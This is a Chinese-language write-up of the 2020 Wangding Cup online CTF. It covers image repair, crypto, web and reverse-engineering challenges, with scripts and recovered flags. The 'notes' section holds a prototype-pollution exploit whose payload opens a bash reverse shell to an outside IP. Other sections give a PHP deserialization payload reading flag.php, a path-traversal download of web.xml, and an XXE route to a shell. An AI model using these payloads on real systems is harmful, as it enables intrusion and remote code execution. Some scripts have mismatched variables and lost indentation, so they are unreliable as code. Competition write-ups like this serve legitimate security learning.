网鼎杯CTF线上赛2020
  • 2020-06-16



艰难苟进线下


0x00 虚幻

操作内容:

PNG 后缀打开图片后看到 36x12 像素 而且像素点的值只 有 0 和 255,即黑白两种,猜测是 36*36 的 QR 码或者汉
信码 修复 RGB 三通道:

from PIL import ImageDraw
from PIL import Image
a=Image.new('RGB',(36,36),(255,255,255))
b=Image.open('./file.png').convert('RGB').load()
c=ImageDraw.Draw(a)
for i in range(36):
for j in range(12):
tmp=b[i,j]
for i in range(3):
if tmp[i] == 0:
c.point((i,3*j+i),fill=(0,0,0))
a.save('xh.png','png')
a.close()

1.发现图片被动了手脚,丢失了一个 9*7 像素模块大小的数据
2.查阅资料:汉信码是中国物品编码中心 2005 年发明的二维条码,是国家 “十五”科技重要工程项目。 2007 年被批准为中国国家标准 (GB/T 21049),同时申请成为了国际标准。目前汉信码主要是用于需要表示大量汉字的场合。汉信码不仅具有错 误侦测能力,且可从受损的条码中读回完整的资料,亦即 「错误 复原能力 」,其错误复原率最高可达 30%,如图 4.1 所列各种情形, 均可将资料复原。有一定纠错能力,而且提示也说了暴力修补,每个像素 值为 0/255 。那就直接爆破纵列的七个像素点,
但是在线扫码出来的结果都不正确
3.此时再看题目提示:图片要转转,测试了水平反转和镜像反转,最后发现是镜像反转的结果
代码如下:

from PIL import ImageDraw
from PIL import Image
from requests import *
def check_image():
url='http://www.efittech.com/hxdec.aspx'
header={'Referer':'http://www.efittech.com/hxdec.html','User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36'}
def check(picname):
file={'picfile':('1.png',open(picname,'rb'),'image/png')}
r=requests.post(url,files=file,headers=header)
return r.text
print check('./flag.png')
def picture(picname,w,c=36,d=36,td='RGB'):
pic=Image.new(td,(c,d),(255,255,255))
draw=ImageDraw.Draw(pic)
for x1 in range(c):
for d1 in range(d):
draw.point((c1,d1),fill=w[c1,d1])
pic = pic.resize((4*c, 4*d)) 
pic.save(picname,'png')
pic.close()
def allpicture(picname):
w=Image.open(picname).convert('RGB').load()
for i in range(128):
xiangsu=bin(i)[2:].rjust(7,'0')
for j in range(7):
if xiangsu[j]=='0':
w[27+j,17]=a   #丢失 9*7,所以 36-9=27
picture('./'+str(i)+'.png',w)
for k in range(7):
w[27+k,17]=b
a,b=(0,0,0),(255,255,255)
allpicture('xh.png')
check_image()

FLAG值:

flag{eed70c7d-e530-49ba-ad45-80fdb7872e0a}


0x01 签到

操作内容:

一路答题 答题到最后审查下元素


FLAG值:flag{aa97b59c25cae2e2d49d3b16a97babef}


0x02 you raise me up

操作内容:

求解离散对数问题,考点dsecret_log

在线网站
https://sagecell.sagemath.org/



FLAG值:flag{5f98ca93-1594-762d-ed0b-a9139692cb4a}

0x03 javafile

操作内容:

首页打开之后发现可以上传文件,先上传一个正常文件看看正常流程如何,然后发现了有个 下载链接,然后改成../../../web.xml,结果成功下载,可以看到有三个 servlet


然后去百度查询了下 tomcat 的目录部署,tomcat 会在 classes 目录下放编译好的 class 然后就可以根据 tomcat 的目录部署情况结合 servlet-class 构造出下载 class 目录


下载 Downloadservlet 进行反编译,可以看到有个判断。随后去百度搜了下相关漏洞。


发现 poi-ooxml-3.10 有个 xxe 漏洞。故这里是利用 xxe 漏洞读取 flag,flag 的路径在首页已 经提示


漏洞详情: https://www.dazhuanlan.com/2020/02/02/5e36a1acefeea/
Exp可见: https://github.com/AnneviLL/hgame2020-bdctr
然后上传 xlsx 文件即可在服务器反弹shell并读取flag
FLAG值:flag{30b8fe37-fbf0-43d7-b8af-bae4b4aea7ed}


0x04 bang

操作内容:
先用查壳工具查壳



教程:
https://www.52pojie.cn/thread-757613-1-1.html
https://www.jianshu.com/p/138c9de2c987
https://xz.aliyun.com/t/7670
Frida-Apk-Unpack 脱壳之后 jadx 打开就可以看到 flag




0x05 AreUSerialz

操作内容:
反序列化
Payload: ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64encode/resource=/web/html/flag.php";s:7:"content";N;}
触发魔法函数读取flag值

FLAG值:flag{4f2bf6d1-b78f-411d-bf25-e49f17c0a792}

0x06 notes

操作内容:

下载附件后打开,审计代码 关键代码
参考资料: https://www.leavesongs.com/PENETRATION/javascript-prototype-pollutionattack.html#0x01-prototype__proto__
考点原型链污染 RCE

data = {'raw': 'bash -i >& /dev/tcp/49.233.68.6/5555 0>&1 | sh', 'id': '__proto__', 'author': 'xiaobei'} import requests 
url = "http://c51772eb8fe144459a8a6ead6f8414a949a99d2149ea443e.cloudgame1.ichunqiu.com:8080/ " 
requests.post(url+"edit_note",json=data) requests.get(url+"status")

访问后在服务器监听端口 5555 即可反弹shell



0x07 boom

操作内容:
Ida载入反汇编
可以先得到flag的格式 flag{%s_%d%d%d_%lld}
首先md5解出可得 %s=en5oy
之后解出三个三元一次方程组得到xyz的值 最后得到x的值


0x08 signal

操作内容:
反汇编提取关键代码
提取出 opcode
op=[ [0x4,0x8,0x3,0x1], [0x4,0x8,0x5,0x1], [0x3,0x8,0xb,0x1], [0xc,0x8,0x4,0x1], [0x5,0x8,0x3,0x1], [0xb,0x8,0xb,0x1], [0x4,0x8,0x3,0x1], [0x2,0x8,0x4,0x1], [0xc,0x8,0xb,0x1], [0x5,0x8,0x2,0x1], [0x2,0x8,0x4,0x1], [0x2,0x8,0x5,0x1], [0x5,0x8,0x2,0x1], [0x4,0x8,0x3,0x1], [0x2,0x8,0xc,0x1] ]
打印出指令
脚本:

op = [
  0x04,0x10,0x08,0x03,0x05,0x01,
  0x04,0x20,0x08,0x05,0x03,0x01,
  0x03,0x02,0x08,0x0B,0x00,0x01,
  0x0C,0x00,0x08,0x04,0x04,0x01,
  0x05,0x03,0x08,0x03,0x21,0x01,
  0x0B,0x08,0x00,0x0B,0x00,0x01,
  0x04,0x09,0x08,0x03,0x20,0x01,
  0x02,0x51,0x08,0x04,0x24,0x01,
  0x0C,0x08,0x00,0x0B,0x00,0x01,
  0x05,0x02,0x08,0x02,0x25,0x01,
  0x02,0x36,0x08,0x04,0x41,0x01,
  0x02,0x20,0x08,0x05,0x01,0x01,
  0x05,0x03,0x08,0x02,0x25,0x01,
  0x04,0x09,0x08,0x03,0x20,0x01,
  0x02,0x41,0x08,0x0C,0x00,0x01
]
flag = [34,63,52,50,114,51,24,167,49,241,40,132,193,30,122]
f = ''
x = 0
for i in range(0,len(op),6):
    j = 0
    while j < 255:
        v5 = 0
        if op[i] == 2:
            v5 = op[i+1] + j
        elif op[i] == 3:
            v5 = j - op[i+1]
        elif op[i] == 4:
            v5 = op[i+1] ^ j
        elif op[i] == 5:
            v5 = op[i+1] * j
        elif op[i] == 0xb:
            v5 = j - 1
        elif op[i] == 0xc:
            v5 = j + 1
        if op[i+3] == 2:
            v5 = op[i+4] + v5
        elif op[i+3] == 3:
            v5 = v5 - op[i+4]
        elif op[i+3] == 4:
            v5 = op[i+4] ^ v5
        elif op[i+3] == 5:
            v5 = op[i+4] * v5
        elif op[i+3] == 0xb:
            v5 = v5 - 1
        elif op[i+3] == 0xc:
            v5 = v5 + 1
        if v5 == flag[x]:
            x += 1
            f += chr(j)
            break
        j += 1
print (f)

FLAG值:flag{757515121f3d478}